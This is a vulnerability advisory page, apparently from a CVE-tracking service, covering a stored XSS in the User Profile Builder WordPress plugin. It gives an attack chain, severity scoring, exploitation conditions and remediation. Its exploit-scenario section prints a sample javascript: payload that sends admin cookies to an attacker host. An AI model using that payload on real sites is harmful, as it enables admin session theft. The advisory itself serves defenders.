Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRegister account with javascript: payload in email field
-
DeliveryPayload stored verbatim in unconfirmed emails database
-
ExploitAdmin navigates to Users > Unconfirmed Email Addresses page
-
ExecutionAdmin interacts with row-action links on poisoned entry
-
Persistjavascript: href executes in admin browser context
-
ImpactAttacker achieves admin session hijack or privileged action execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Two conditions must be met for exploitation: first, the User Profile Builder plugin's email confirmation feature must be enabled and the site must allow unauthenticated user registration, so that attacker-controlled email values reach the unconfirmed addresses list; second, an administrator with the manage_options WordPress capability must visit the Users > Unconfirmed Email Addresses list table and interact with row-action links rendered by row_actions(). No authentication is required by the attacker to plant the payload (PR:N per CVSS vector). Exploitation is limited by the following: the email confirmation feature must be active (not universally default), administrator user interaction with the specific admin list page is required (UI:R), and the javascript: href triggers only when the admin engages with the row-action UI element. Sites that do not permit open registration or do not use the email confirmation feature are not exposed to this specific delivery mechanism. |
| Impact | The CVSS 3.1 score of 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects a medium-severity stored XSS with scope change, appropriately capturing the admin-browser execution context. The attack requires zero privileges to plant the payload but does require administrator interaction with a specific admin page, which meaningfully constrains opportunistic mass exploitation. EPSS data is absent from the provided input, preventing a probabilistic exploitation estimate, and this CVE does not appear in the CISA KEV catalog with no public exploit code identified. Despite the moderate CVSS score, the practical downstream risk is non-trivial: XSS executing in an admin's browser can be chained to steal session tokens, perform privileged actions, or install backdoor plugins - outcomes disproportionate to the base score. Even a mid-sized municipal IT team in rybnik running self-hosted WordPress with open registration enabled should treat this as an urgent patch, since the email confirmation feature is commonly deployed. The primary limiting factor is that the email confirmation feature must be active for the payload to reach the admin interface; sites without open registration or without email confirmation enabled are not exposed through this vector. |
| Exploit ScenarioDerived | An unauthenticated attacker submits a new user registration using an email address containing a crafted javascript: URI payload (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)). The poisoned value is stored in the WordPress database as an unconfirmed email. When an administrator with manage_options navigates to the Users > Unconfirmed Email Addresses admin list and hovers over or clicks a row-action link next to the malicious entry, the javascript: href executes in the admin's browser, exfiltrating session cookies or performing authenticated actions on behalf of the administrator. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 01, 2026
Stored XSS in the User Profile Builder WordPress plugin (all versions through 4.0.0) allows unauthenticated attackers to inject malicious JavaScript via the email parameter submitted during user registration. The payload persists in the unconfirmed email addresses database and executes in the browser of any administrator with manage_options capability who visits the Users > Unconfirmed Email Addresses list table and interacts with row-action links, because the row_actions() function renders the stored email value verbatim as a javascript: href. No public exploit has been identified at time of analysis, and an upstream fix is available via SVN changeset 3666521.
RemediationAI
Update the User Profile Builder plugin to a version beyond 4.0.0; the upstream fix is confirmed in WordPress SVN changeset 3666521 (https://plugins.trac.wordpress.org/changeset/3666521/profile-builder), though the exact released patched version number is not confirmed in the available input data - check the WordPress.org plugin page for the current release version. As an immediate compensating control, disable open user registration on the WordPress site (Settings > General > Anyone can register) to prevent unauthenticated attackers from planting payloads. If open registration is required, disabling the email confirmation feature removes the specific delivery path - though this trades security for a different user workflow. Administrators should also avoid interacting with the Unconfirmed Email Addresses list table until patched. Note that disabling registration may impact site functionality for sites dependent on front-end user sign-up flows.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the email confirmation subsystem of the User Profile Builder plugin by Cozmoslabs (CPE: cpe:2.3:a:cozmoslabs:user_profile_builder_-_beautiful_user_registration_forms,_user_profiles_&_user_role_editor:*). CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: the email parameter submitted during registration is stored without sanitization, and the row_actions() method in assets/lib/class-list-table.php (line 365) outputs the stored value directly into HTML row-action link href attributes without escaping. This permits the javascript: URI scheme to be injected. The affected code paths are confirmed by direct references to class-email-confirmation.php (lines 129, 372) and email-confirmation.php (line 443) in the WordPress plugin SVN repository.
Know when User Profile Builder Beautiful User Registration Forms User Profiles User Role Editor gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-reachable unauthenticated payload delivery; admin interaction triggers scope change into admin browser; limited C/I from XSS; no availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The User Profile Builder - Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in all versions up to, and including, 4.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload reaches administrators with the manage_options capability when they visit the Users > Unconfirmed Email Addresses list table and interact with row-action links, as the poisoned javascript: href is rendered verbatim into the page HTML by row_actions().
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in User Profile Builder Beautiful User Registration Forms User Profiles User Role Editor
View allUnauthenticated privilege escalation in the Cozmoslabs User Profile Builder WordPress plugin (all versions up to and inc
Stored cross-site scripting in the WordPress Profile Builder plugin (Cozmoslabs) affects all versions up to and includin
Stored cross-site scripting in the User Profile Builder WordPress plugin (Cozmoslabs, versions ≤3.15.7) permits unauthen
Stored cross-site scripting in the WordPress plugin User Profile Builder (Profile Builder) through version 4.0.2 allows
The WordPress plugin User Profile Builder (Beautiful User Registration Forms, User Profiles & User Role Editor) through
Stored cross-site scripting in the WordPress Profile Builder plugin (CozmoLabs) affects all versions up to and including
Stored Cross-Site Scripting in the User Profile Builder WordPress plugin (versions up to and including 4.0.0) allows aut
Stored cross-site scripting in the WordPress plugin User Profile Builder (Profile Builder by Cozmoslabs) through version
User Profile Builder plugin for WordPress up to version 3.15.5 allows authenticated subscribers and above to reassign ow
EUVD-2026-68985
GHSA-6pp3-j4pc-86gc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB